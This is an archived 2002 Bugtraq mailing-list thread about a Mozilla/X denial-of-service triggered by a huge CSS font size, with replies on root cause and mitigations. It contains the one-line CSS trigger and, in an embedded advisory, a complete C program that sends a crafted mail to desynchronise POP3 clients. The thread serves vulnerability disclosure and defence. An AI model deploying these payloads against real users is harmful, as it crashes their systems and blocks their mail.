8576610 2002-06-10 10:20 +0200 /96 rader/ Tom <tom@lemuria.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-10 19:09 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22549>
Ärende: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Tom <tom@lemuria.org>
To: bugtraq@securityfocus.com
Message-ID: <20020610102006.A6947@lemuria.org>
Author
======
Tom Vogt <tom@lemuria.org>
http://web.lemuria.org/
Affected
========
Mozilla 1.0 and earlier
verified on Linux and Solaris, other Unixes most likely affected as well.
Effect
======
System becomes unuseable or X windows crashes
(varies depending on system configuration)
Description
===========
When loading pages with a specially prepared (or erroneous) stylesheet,
mozilla and X windows (not restricted to XFree) exhibit any of two
undesireable behaviours. This seems to depend on the local system
configuration, especially to the presence of xfs, but bug reports so far
are inconclusive.
In one scenario, X simply crashes, taking everything with it. This will result
in the loss of unsaved work.
In scenario two, memory useage of the X server explodes until the machine
reaches the thrashing point, at which point only a hard kill (-9) of the
X server can save it, provided there are enough system resources left to
issue the kill.
Some systems see no crash, but random misbehaviour of X components
that often require a shutdown of the X server to fix. See the follow
ups in bugzilla for a full description of these various behaviours.
The bug is triggered by a huge font setting done through
CSS. Depending on the end user's system configuration, this will
either trigger an abort in the XFree86 code ("Beziers this large not
supported") or cause an explosive use of memory. It is unknown how
much memory could get consumed, but follow-ups to the mozilla bug
verify that machines with 1 GB of memory still reach the thrashing
point.
Example
=======
Include a huge font size in your style sheet definition, e.g.:
body { font-size: 1666666px; }
http://www.adeliesolutions.com/Projects/
http://bugzilla.mozilla.org/attachment.cgi?id=87009&action=view
Vendor Contact
==============
filed as mozilla bug #150339
http://bugzilla.mozilla.org/show_bug.cgi?id=150339
Mozilla team scrambled immediately
also filed with the XFree86 team, no reaction so far
Solution/Patches
================
No patches have been issued so far, though the mozilla team appears to be
at work and a patch should be available soon.
Another solution would be turning off stylesheets. Mozilla does not
have an option for doing so in the preferences dialog, so this must
be done either in the preferences file manually, or by editing the
source code. I have not reviewed this option further. Unchecking the
"allow documents to use other fonts" button in preferences does NOT
provide a workaround.
Author Statement
================
Aside from the fact that I don't believe in "responsible disclosure", this
is already public knowledge through bugzilla.
Kudos to the mozilla team for prompt and competent reactions.
--
New GPG Key issued (old key expired):
http://web.lemuria.org/pubkey.html
pub 1024D/2D7A04F5 2002-05-16 Tom Vogt <tom@lemuria.org>
Key fingerprint = C731 64D1 4BCF 4C20 48A4 29B2 BF01 9FA1 2D7A 04F5
(8576610) /Tom <tom@lemuria.org>/---------(Ombruten)
Bilaga (application/pgp-signature) i text 8576611
Kommentar i text 8576691
8576611 2002-06-10 10:20 +0200 /9 rader/ Tom <tom@lemuria.org>
Importerad: 2002-06-10 19:09 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22550>
Bilaga (text/plain) till text 8576610
Ärende: Bilaga till: remote DoS in Mozilla 1.0
------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE9BGE2vwGfoS16BPURAg/YAJ9roHWjfKYgC3nx3AokqEVjcz21FwCeLuLp
y/MCltMP0XjROUn/sd0B6TI=
=zTao
-----END PGP SIGNATURE-----
(8576611) /Tom <tom@lemuria.org>/-------------------
8581585 2002-06-11 15:05 +0200 /89 rader/ Stijn Jonker <SJCJonker@SJC.nl>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 16:56 av Brevbäraren
Extern mottagare: Tom <tom@lemuria.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22571>
Kommentar till text 8576610 av Tom <tom@lemuria.org>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Stijn Jonker <SJCJonker@SJC.nl>
To: Tom <tom@lemuria.org>
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.4.44.0206111457420.20762-100000@ph-wks-01.sjc.nl>
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hello all,
The one think that keeps popping up in my mind after reading your
post:
Is this really a mozilla bug?
My answer:
No, because try and font of the size 1666666px in gimp on the same
system, the symptoms and the end effect is exactly the same here.
System: RH 7.3
512 M memory
1024M Swap
Xfs & XFree86 4.2.0
What happens is that XFS consumes huge amounts of ram, and finally
bails out. So end of story for the fonts in X. As a result X is
practicly useless.
I can only guess what happens when you don't use XFS but Xserver
based fontrendering, the X server consumes huge amounts of mem and
cpu and bails out => server crash => Bye Bye X.
The solution(s):
(a) Fix every app to disallow font sizes bigger then <maxvalue>
(b) Fix XFS to return an error code to the calling application
when requested font size is greater then configured <maxvalue>
Personally i would go for b.
Just my $0.02, but is you disagree please let me know.
On Mon, 10 Jun 2002, Tom wrote:
> Author
> ======
> Tom Vogt <tom@lemuria.org>
> http://web.lemuria.org/
>
> Affected
> ========
> Mozilla 1.0 and earlier
> verified on Linux and Solaris, other Unixes most likely affected as well.
>
> Effect
> ======
> System becomes unuseable or X windows crashes
> (varies depending on system configuration)
>
> Description
> ===========
> When loading pages with a specially prepared (or erroneous) stylesheet,
> mozilla and X windows (not restricted to XFree) exhibit any of two
<<SNIP>>
>
> Example
> =======
> Include a huge font size in your style sheet definition, e.g.:
> body { font-size: 1666666px; }
>
- --
Met Vriendelijke groet/Yours Sincerely
Stijn Jonker <SJCJonker@sjc.nl>
- -- Outlook Express is actually an incredibly effective virus
distribution system which only pretends to be an email program. [by
Eric Lee]
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQE9BfWcH0P/oLuWBrcRAqB3AJkBudCe8ovF9+u5dPdFEYP/p1zUtgCbBc4I
k/e0j6d1HDEQQb/XiWKnF3k=
=TUcz
-----END PGP SIGNATURE-----
(8581585) /Stijn Jonker <SJCJonker@SJC.nl>/(Ombruten)
Kommentar i text 8581999 av Mikael Olsson <mikael.olsson@clavister.com>
Kommentar i text 8582232 av Tom <tom@lemuria.org>
Kommentar i text 8582726 av Jakub Bogusz <qboosh@pld.org.pl>
8581999 2002-06-11 16:44 +0200 /50 rader/ Mikael Olsson <mikael.olsson@clavister.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 18:12 av Brevbäraren
Extern mottagare: Stijn Jonker <SJCJonker@SJC.nl>
Extern kopiemottagare: Tom <tom@lemuria.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22573>
Kommentar till text 8581585 av Stijn Jonker <SJCJonker@SJC.nl>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Mikael Olsson <mikael.olsson@clavister.com>
To: Stijn Jonker <SJCJonker@SJC.nl>
Cc: Tom <tom@lemuria.org>, bugtraq@securityfocus.com
Message-ID: <3D060CB4.3DE7B5F4@clavister.com>
Stijn,
Stijn Jonker wrote:
>
> Is this really a mozilla bug?
> My answer:
> No, because try and font of the size 1666666px in gimp on the same
> system, the symptoms and the end effect is exactly the same here.
>
> [...]
> The solution(s):
> (a) Fix every app to disallow font sizes bigger then <maxvalue>
> (b) Fix XFS to return an error code to the calling application
> when requested font size is greater then configured <maxvalue>
>
> Personally i would go for b.
> Just my $0.02, but if you disagree please let me know.
There's a world of difference between gimp and netscape.
Fixing XFS is indeed a good idea, but I submit that it is also a very
good idea to put a cap on font sizes in mozilla, and indeed anything
else that accepts font rendering information from external sources.
After all, mozilla runs on dozens of platforms, on different X
servers. Mozilla is what is causing the vulnerability (gimp
isn't). Indeed, XFS should be fixed, but from an overall
vulnerability perspective, I'm quite convinced mozilla should be
fixed too. People upgrade mozilla a _lot_ more often than they
upgrade their X font servers.
Regards,
Mikael Olsson
--
Mikael Olsson, Clavister AB
Storgatan 12, Box 393, SE-891 28 ÖRNSKÖLDSVIK, Sweden
Phone: +46 (0)660 29 92 00 Mobile: +46 (0)70 26 222 05
Fax: +46 (0)660 122 50 WWW: http://www.clavister.com
"Senex semper diu dormit"
(8581999) /Mikael Olsson <mikael.olsson@clavister.com>/(Ombruten)
8582232 2002-06-11 15:35 +0200 /29 rader/ Tom <tom@lemuria.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 19:15 av Brevbäraren
Extern mottagare: Stijn Jonker <SJCJonker@SJC.nl>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22580>
Kommentar till text 8581585 av Stijn Jonker <SJCJonker@SJC.nl>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Tom <tom@lemuria.org>
To: Stijn Jonker <SJCJonker@SJC.nl>
Cc: bugtraq@securityfocus.com
Message-ID: <20020611153514.A20669@lemuria.org>
On Tue, Jun 11, 2002 at 03:05:31PM +0200, Stijn Jonker wrote:
> Is this really a mozilla bug?
It's a bug in X that becomes remote-exploitable through mozilla.
> The solution(s):
> (a) Fix every app to disallow font sizes bigger then <maxvalue>
> (b) Fix XFS to return an error code to the calling application
> when requested font size is greater then configured <maxvalue>
>
> Personally i would go for b.
Personally, I would go for both, with a limitation on a, namely that
apps that accept remote data (i.e. mozilla) should definitely do some
checking on that data before handing it to the local system (i.e. X).
--
New GPG Key issued (old key expired):
http://web.lemuria.org/pubkey.html
pub 1024D/2D7A04F5 2002-05-16 Tom Vogt <tom@lemuria.org>
Key fingerprint = C731 64D1 4BCF 4C20 48A4 29B2 BF01 9FA1 2D7A 04F5
(8582232) /Tom <tom@lemuria.org>/-------------------
Kommentar i text 8582488 av Andreas Beck <becka@uni-duesseldorf.de>
8582488 2002-06-11 17:03 +0200 /41 rader/ Andreas Beck <becka@uni-duesseldorf.de>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 20:19 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22581>
Kommentar till text 8582232 av Tom <tom@lemuria.org>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Andreas Beck <becka@uni-duesseldorf.de>
To: bugtraq@securityfocus.com
Message-ID: <20020611150337.GA7879@uni-duesseldorf.de>
Tom <tom@lemuria.org> wrote:
> > Is this really a mozilla bug?
> It's a bug in X that becomes remote-exploitable through mozilla.
Ack. If X can be crashed by an application, X is at fault. We all
know, that there are "legal" ways to make X unuseable (xlock e.g.),
but actually crashing the X server should never happen, as a faulty
application may cause data loss in correct applications this way. Not
what we expect in a Unix environment.
> > (a) Fix every app to disallow font sizes bigger then <maxvalue>
> > (b) Fix XFS to return an error code to the calling application
> > when requested font size is greater then configured <maxvalue>
> > Personally i would go for b.
> Personally, I would go for both, with a limitation on a, namely that
> apps that accept remote data (i.e. mozilla) should definitely do some
> checking on that data before handing it to the local system (i.e. X).
Right. Applications that accept untrusted data have a special
responsibility to canonicalize them in order to protect the
underlying system from the possible side effects. No matter if the
underlying system _should_ be able to cope with them.
However that does not mean, the bug in the lower layers may remain
there.
Also note, that - as I already reported to Tom in PM - not all X
servers are affected. I tested the example sites using Mozilla 1.0RC2
on an XGGI server which is based on rather old X-consortium code IIRC
and the expected effects did not show up.
CU, Andy
--
Andreas Beck | Email : <becka@uni-duesseldorf.de>
(8582488) /Andreas Beck <becka@uni-duesseldorf.de>/(Ombruten)
Kommentar i text 8583135 av John C. Welch <jwelch@MIT.EDU>
8583135 2002-06-11 15:32 -0400 /24 rader/ John C. Welch <jwelch@MIT.EDU>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 22:26 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22585>
Kommentar till text 8582488 av Andreas Beck <becka@uni-duesseldorf.de>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: "John C. Welch" <jwelch@MIT.EDU>
To: <bugtraq@securityfocus.com>
Message-ID: <B92BC898.41F8D%jwelch@mit.edu>
On 06/11/2002 11:03, "Andreas Beck" <becka@uni-duesseldorf.de> wrote:
> Also note, that - as I already reported to Tom in PM - not all X servers
> are affected. I tested the example sites using Mozilla 1.0RC2 on an XGGI
> server which is based on rather old X-consortium code IIRC and the expected
> effects did not show up.
It also doesn't crash anything in Mac OS X. (Moz 1.0). The page
doesn't get rendered really well...looks really wonky, but nothing
crashes.
john
--
John C. Welch
IT Manager
MIT Police
(617) 253 - 3093 work
(508) 579 - 7380 cell
(8583135) /John C. Welch <jwelch@MIT.EDU>/(Ombruten)
8582726 2002-06-11 19:59 +0200 /58 rader/ Jakub Bogusz <qboosh@pld.org.pl>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 21:06 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22584>
Kommentar till text 8581585 av Stijn Jonker <SJCJonker@SJC.nl>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Jakub Bogusz <qboosh@pld.org.pl>
To: bugtraq@securityfocus.com
Message-ID: <20020611175954.GA17563@satan.blackhosts>
On Tue, Jun 11, 2002 at 03:05:31PM +0200, Stijn Jonker wrote:
[...]
> What happens is that XFS consumes huge amounts of ram, and finally bails
> out. So end of story for the fonts in X. As a result X is practicly
> useless.
>
> I can only guess what happens when you don't use XFS but Xserver based
> fontrendering, the X server consumes huge amounts of mem and cpu and bails
> out => server crash => Bye Bye X.
>
> The solution(s):
> (a) Fix every app to disallow font sizes bigger then <maxvalue>
> (b) Fix XFS to return an error code to the calling application
> when requested font size is greater then configured <maxvalue>
I think it's not XFS, but libXfont.
Here's the end of strace before xfs dies:
| open("/usr/share/fonts/Type1/ariam___-ISO-8859-2.pfb", O_RDONLY) = 7
| read(7, "\200\1\352\26\0\0%!PS-AdobeFont-1.0: Arial-"..., 512) = 512
[...]
| read(7, "\375KlWqU\200\321\20\2274;\214k\207\222\357\7[Q0\235\213"..., 512) = 512
| close(7) = 0
| old_mmap(NULL, 6311936, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x408d7000
| old_mmap(NULL, 13180928, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40edc000
| old_mmap(NULL, 31662080, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x41b6e000
| old_mmap(NULL, 33607680, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x439a0000
| old_mmap(NULL, 46592000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x459ad000
| write(2, "xfs error: ", 11) = -1 EBADF (Bad file descriptor)
| write(2, "Beziers this big not yet support"..., 34) = -1 EBADF (Bad file descriptor)
| rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
| getpid() = 21200
| kill(21200, SIGABRT) = 0
| --- SIGABRT (Aborted) ---
In XFree86 (4.2.0) in xc/lib/font/Type1/curves.c about line 219 there
is:
| struct segment *
| StepBezier(struct region *R, /* Region under construction or NULL */
[...]
| if ( TOOBIG(xB) || TOOBIG(yB) || TOOBIG(xC) || TOOBIG(yC)
| || TOOBIG(xD) || TOOBIG(yD) )
| abort("Beziers this big not yet supported");
It isn't very good idea to abort() on wrong parameters in shared
library function...
--
Jakub Bogusz http://prioris.mini.pw.edu.pl/~qboosh/
PLD Linux http://www.pld.org.pl/
(8582726) /Jakub Bogusz <qboosh@pld.org.pl>/(Ombruten)
8582222 2002-06-11 11:44 -0500 /27 rader/ Jon Keating <jkeating@heuris.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-11 19:14 av Brevbäraren
Extern mottagare: 'Mikael Olsson' <mikael.olsson@clavister.com>
Extern mottagare: Stijn Jonker <SJCJonker@SJC.nl>
Extern kopiemottagare: Tom <tom@lemuria.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22579>
Ärende: RE: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Jon Keating <jkeating@heuris.com>
To: "'Mikael Olsson'" <mikael.olsson@clavister.com>,
Stijn Jonker <SJCJonker@SJC.nl>
Cc: Tom <tom@lemuria.org>, bugtraq@securityfocus.com
Message-ID: <000F708AE9B4D3118B9F004F4E03B08DD59988@wonderin.heuris.com>
> Fixing XFS is indeed a good idea, but I submit that it is also a very
> good idea to put a cap on font sizes in mozilla, and indeed anything
> else that accepts font rendering information from external sources.
Writing stable software is a difficult process to do when you depend
on other libraries to do their job the way you think it should be
done. The problem is a little more subtle than what is being
discussed. I am hearing that Mozilla should be updated, but the
question is, what should the limit be for a font size? The line has
to be drawn somewhere and if each software puts it's own limit on the
size of a font then larger fonts might not appear the same with
different programs. So, then XFS needs to be the definite place that
draws the line. I think this is a trivial problem because there are
larger issues out there that are in essence the exact same thing that
we discuss in this thread.
Unfortunately, there is no easy answer because we put our dependence
on a 3rd party library. This thread leaves a funny taste in my mouth.
Jon
(8582222) /Jon Keating <jkeating@heuris.com>/(Ombruten)
8588122 2002-06-12 19:00 +0000 /166 rader/ eldre8 <eldre@afturgurluk.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-12 21:48 av Brevbäraren
Externa svar till: eldre8@afturgurluk.org
Mottagare: Bugtraq (import) <22599>
Ärende: Another small DoS on Mozilla <= 1.0 through pop3
------------------------------------------------------------
From: eldre8 <eldre@afturgurluk.org>
Cc: recipient list not shown: ;
Message-ID: <20020612190049.5375.qmail@securityfocus.com>
////////////////////////////////////////////
///// Strange Software Behaviour Report
///
//// discovered, understood and exploited between 05, 08 2001
//// (yes, i took the time... :) )
/// eldre8
Wed Jun 12 20:47:59 CEST 2002
\/\/\_/-> System affected:
Netscape v =<4.77
Mozilla <1.1
^\/\/'\-> System not affected:
Outlook Express 4.72.3110.5
maybe the other versions of Outlook
|_/\/\\/> Buggy software team contacted about this:
Yes, the bug is fixed now.
/\/\/\_/> Exploitation: remote & very easy & very anonymous :(
_/\/\/\_> Effects: With this remote hole, we can block any mail
box that is checked with a pop3 client, so the
hotmail, yahoo like servers are not affected.
A mail will cause the pop3 client to desynchronize
with the server, losing the connection to it, and
so, leaves all messages on the server (explain later)...
-/\/\/\/> Explanation: In the SMTP protocol, we can send mail with
some introduction command (ehlo,mail,rcpt) and then
type our messages and place a dot at a new line to
specify to the MTA that it is the end of the message.
On the other side, when a POP3 client check mail, it
connect to the server, retreive the mail, it terminate
the download of a message when it sees a dot at a new line.
And here is the trick.
If we can place a dot at a new line, and place other
words below this dot, the client will beleive the mail
is finished and will try to download next messages, thus
beiing desynchronize with the server...
The POP3 client act as:
login on to the POP3 server
retrieve mails
delete mails
logout
but if it is desynchronize, it will retreive mail, and
disconnect, thus didn't delete mails, and the next time
it login, it will refind the same mail, will retreive one
more time the mails, disconnect, and other and other...
A more detailed explanation,
here it is a simple end of a normal mail:
blabla...
\x0a
\x0a
and this is the bad mail:
blabla...
\x0a\x0d\x2e\x0d\x20\x0a\x0a\x0a
blabla...
\x0a\x20\x00
\x0a
We can see at the end of the two 0x0a, it seems that it is just
place here by the console...forget it.
At this stage, you could catch the bug...
=\/\/\/-> Possible fixes: There are different ways to fix this,
- one way is from the client, to stop the bad mail,
this is to connect manually via telnet to the pop3
server, and then identify the bad message and do a
dele <# of the message>
- one better way is to fix this from the client itself,
the client can get the size of each messages via
the list command, so it should be able to retrieve
the complete message, not less, not more...
- one way is to fix the MTA so it will not accept such
the code below...
~\/\/\/~> (buggy:])Exploit:
/* this is the code that comes with my
* advisory #1 to illustrate this...
* eldre8 at afturgurluk (double dot minus one) org
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"
#define PORT 25
int sock;
char buffer[255];
void SigCatch() {
fprintf(stderr, "\b\bbye!\n");
close(sock);
exit(0);
}
int main() {
/* I was too lame to implement the command line... :) */
int i;
struct sockaddr_in sout;
struct hostent *hp;
signal(SIGINT, SigCatch);
hp=gethostbyname(MX);
sock=socket(AF_INET, SOCK_STREAM, 0);
if (sock<0) {
perror("sock");
return -1;
}
sout.sin_family=AF_INET;
sout.sin_port=htons(PORT);
memcpy(&(sout.sin_addr), *(hp->h_addr_list), sizeof(struct in_addr));
if (connect(sock, &sout, sizeof(sout))<0) {
perror("connect");
return -1;
}
recv(sock, buffer, 255, 0); /* receive the banner... */
send(sock, EHLO, sizeof(EHLO), 0);
recv(sock, buffer, 255, 0); /* receive the welcome message... */
send(sock, MAIL, sizeof(MAIL), 0);
recv(sock, buffer, 255, 0); /* receive the acknowledgement to mail from. */
send(sock, RCPT, sizeof(RCPT), 0);
recv(sock, buffer, 255, 0); /* idem, but for the rcpt to... */
send(sock, DATA, sizeof(DATA), 0);
recv(sock, buffer, 255, 0);
i=sprintf(buffer, "b4d maIl 1n 4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
*(buffer+i)="\x0";
sprintf(buffer+i+1, "\n.\n");
send(sock, buffer, i+1+3, 0); /* send the dumb thing ... */
recv(sock, buffer, 255, 0);
send(sock, QUIT, sizeof(QUIT), 0);
recv(sock, buffer, 255, 0);
close(sock);
return 0;
}
=_-/\/`-> Greetz/Shouts:
all who know me, and all that I forget here because of anonymity reason...
especially french speaking boys & girls! ;)
And special to anyone in search of knowledge and those who distribute
knowledge.
You can find this report on:
afturgurluk.org/~eldre8/files/pop3client_dos.txt
(8588122) /eldre8 <eldre@afturgurluk.org>/(Ombruten)
8593842 2002-06-13 10:47 -0400 /65 rader/ Keith Warno <keith.warno@valaran.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-13 20:41 av Brevbäraren
Extern mottagare: 'Tom' <tom@lemuria.org>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22614>
Kommentar till text 8576610 av Tom <tom@lemuria.org>
Ärende: RE: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: "Keith Warno" <keith.warno@valaran.com>
To: "'Tom'" <tom@lemuria.org>, <bugtraq@securityfocus.com>
Message-ID: <001a01c212e9$4de68c70$6702a8c0@valaran.com>
| -----Original Message-----
| From: Tom [mailto:tom@lemuria.org]
| Sent: Monday, June 10, 2002 4:20 AM
| To: bugtraq@securityfocus.com
| Subject: remote DoS in Mozilla 1.0
|
[...]
|
| Vendor Contact
| ==============
[...]
| also filed with the XFree86 team, no reaction so far
|
|
There is chatter but the same type of question regarding "at what
point [is] a request for a font ... clearly invalid" is being asked.
---------- Forwarded message ----------
Date: Thu, 13 Jun 2002 09:46:56 +0100
From: Juliusz Chroboczek <jec@dcs.ed.ac.uk>
Reply-To: xpert@XFree86.Org
To: xpert@XFree86.Org
Subject: Re: [Xpert]abort() in libXfont 4.2.0 (was FW: remote DoS in
Mozilla 1.0)
From: Juliusz Chroboczek <jec@dcs.ed.ac.uk>
Subject: Re: [bugtraq] remote DoS in Mozilla 1.0
To: devel@xfree86.org
Date: 12 Jun 2002 08:51:49 +0100
MH> Interesting problem reported on bugtraq:
MH> <http://online.securityfocus.com/archive/1/276120>
I see. Two bugs here.
One is the dodgy error-handling in the Type 1 backend, which gives up
by calling abort() (see the very end of curves.c). I agree that this
is a bug; however, as I'm hoping to phase out the current Type 1
backend in favour of one based on FreeType 2 in time for 4.3.0, I do
not intend to fix it.
The other problem is that we do not fail a priori requests for very
large fonts. I do agree that this should be done, and I think it
should be done at the common layer (above the font backends); could
anyone suggest at what point a request for a font is clearly invalid?
Juliusz
_______________________________________________
Xpert mailing list
Xpert@XFree86.Org
http://XFree86.Org/mailman/listinfo/xpert
(8593842) /Keith Warno <keith.warno@valaran.com>/(Ombruten)
Kommentar i text 8594629 av Tom <tom@lemuria.org>
8594629 2002-06-13 18:00 +0200 /23 rader/ Tom <tom@lemuria.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-14 00:16 av Brevbäraren
Extern mottagare: Keith Warno <keith.warno@valaran.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22624>
Kommentar till text 8593842 av Keith Warno <keith.warno@valaran.com>
Ärende: Re: remote DoS in Mozilla 1.0
------------------------------------------------------------
From: Tom <tom@lemuria.org>
To: Keith Warno <keith.warno@valaran.com>
Cc: bugtraq@securityfocus.com
Message-ID: <20020613180046.A9558@lemuria.org>
On Thu, Jun 13, 2002 at 10:47:55AM -0400, Keith Warno wrote:
> There is chatter but the same type of question regarding "at what point [is]
> a request for a font ... clearly invalid" is being asked.
thanks. I have (and will continue to do so) updated the advisory with
this and other further information. the updated version can be found
at
http://web.lemuria.org/security/mozilla-dos.html
--
New GPG Key issued (old key expired):
http://web.lemuria.org/pubkey.html
pub 1024D/2D7A04F5 2002-05-16 Tom Vogt <tom@lemuria.org>
Key fingerprint = C731 64D1 4BCF 4C20 48A4 29B2 BF01 9FA1 2D7A 04F5
(8594629) /Tom <tom@lemuria.org>/---------(Ombruten)
8594508 2002-06-13 12:26 -0400 /37 rader/ <rjh@world.std.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-13 23:53 av Brevbäraren
Extern mottagare: jijo@free.net.ph
Extern kopiemottagare: bugtraq@securityfocus.com
Extern kopiemottagare: linux-kernel@vger.kernel.org
Externa svar till: rjh@world.std.com
Mottagare: Bugtraq (import) <22621>
Kommentar till text 8593616 av Federico Sevilla III <jijo@free.net.ph>
Ärende: Re: Very large font size crashing X Font Server and Grounding Server to a Halt (was: remote DoS in Mozilla 1.0)
------------------------------------------------------------
From: rjh@world.std.com
To: jijo@free.net.ph
Cc: bugtraq@securityfocus.com, linux-kernel@vger.kernel.org
Message-ID: <200206131626.MAA20634@TheWorld.com>
On 13 Jun, Federico Sevilla III wrote:
> Suggestions on how to work around this on multiple levels would definitely
> be appreciated. I'll be starting by removing the X font server from our
> file and authentication server onto some high-powered workstation, but I'm
> sure this won't be enough, and knowing that a user process like xfs-daemon
> can drag the Linux kernel down to knees is not very comforting. :(
>
The protection that you need is provided by "ulimit" on most Unixes.
There are facilities to limit maximum real memory used, maximum
virtual memory, maximum number of processes, etc. This specific bug
in XFree is one of a general case of inescapable user process bugs.
It resulted in an almost infinite size malloc() request. You can
acheive the same effect in any userspace program by just putting
malloc() inside an infinite loop.
If you allow users to run with unlimited memory permission, you are
vulnerable. The XFree bug will hit more people than usual because it
is common to put the ulimit on regular user logins and forget to
place a limit on the automatically started processes. The default
configuration from RedHat, SuSE, and others is to start XFree outside
the login system. You can also place limits on these processes but
you need to examine the startup scripts to install the limits in the
right places.
This would then result in a different DoS. Whenever XFree hits the
memory limit, the malloc's will fail, and XFree will decide what to do
about it. Depending on the circumstances, XFree may shut down, thus
killing all the X window dependent processes.
R Horn
(8594508) /<rjh@world.std.com>/-----------(Ombruten)
8594811 2002-06-13 23:09 +0100 /67 rader/ Matthew Wakeling <mnw21@bigfoot.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-14 02:05 av Brevbäraren
Extern mottagare: Jesse Pollard <pollard@tomcat.admin.navo.hpc.mil>
Extern kopiemottagare: BugTraq Mailing List <bugtraq@securityfocus.com>
Extern kopiemottagare: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
Mottagare: Bugtraq (import) <22631>
Kommentar till text 8594764 av Jesse Pollard <pollard@tomcat.admin.navo.hpc.mil>
Ärende: Re: Very large font size crashing X Font Server and Grounding Server to a Halt (was: remote DoS in Mozilla 1.0)
------------------------------------------------------------
From: Matthew Wakeling <mnw21@bigfoot.com>
To: Jesse Pollard <pollard@tomcat.admin.navo.hpc.mil>
Cc: BugTraq Mailing List <bugtraq@securityfocus.com>,
Linux Kernel Mailing List <linux-kernel@vger.kernel.org> Message-ID:
<Pine.LNX.4.44.0206132255220.4999-100000@server3.jumpleads.com>
On Thu, 13 Jun 2002, Jesse Pollard wrote:
> > It is my experience that a single process using large amounts of memory
> > causes the system to start swapping. Once it starts swapping, every
> > process that does anything (apart from indefinite wait) goes into "I'm
> > ready to do some processing, but my memory is swapped out" state, and the
> > whole system collapses.
>
> Not necessarily. The condition can also be caused by having a large, well
> behaved process working its' little heart out properly, and a small process
> that grows suddenly (or even slowly - it doesn't take much to push it over
> the limit). As the small process grows, the larger one is paged out. Once
> the swap space is filled just adding one more page could do it. And it doesn't
> matter what process allocates that page. Key: disable oversubscription of
> memory.
Can we at least agree that the current kernel behaviour is a positive
feedback loop - something is bad, therefore it's about to get
worse. Some of the suggestions I had would move this more towards a
negative feedback loop.
> It can't decide what causes the problem. There are too may possibilities.
I think the majority of times a system will be set up with enough
swap space to handle its normal operation. Otherwise, just give it
some more swap. However, one circumstance that throwing lots of swap
around doesn't fix is when a process has an insatiable need for
memory. In this case, either the process grows very quickly, or is
just plain big. I think the out-of-memory killer should target big
or growing processes. If it doesn't hit the correct process the
first time, it will free up a lot more RAM than it would otherwise,
and it would be likely to get it right the second time.
> > My suggestion would be to set a maximum core size for the xfs-daemon
> > process...
>
> Also put a maximum limit on the X server.
Although this wasn't the problem in this case (and therefore wouldn't
have a massive effect), it's a sensible precaution.
The xfs server is the important server here, because DOSing it DOSes a
whole network of workstations.
> The easiest fix is to disable oversubscription of memory, though that may
> cause some daemons to abort if they don't check for allocation failures
> (which I do consider a bug).
That does indeed sound a good idea. I guess one would then give the
system one big dollop of swap, to allow it to actually cater for
processes that allocate large amounts without using it.
Matthew
--
Bashir: And who told you that?
O'Brien: You did. In the future.
Bashir: Oh. Well, who am I to argue with me?
(8594811) /Matthew Wakeling <mnw21@bigfoot.com>/(Ombruten)
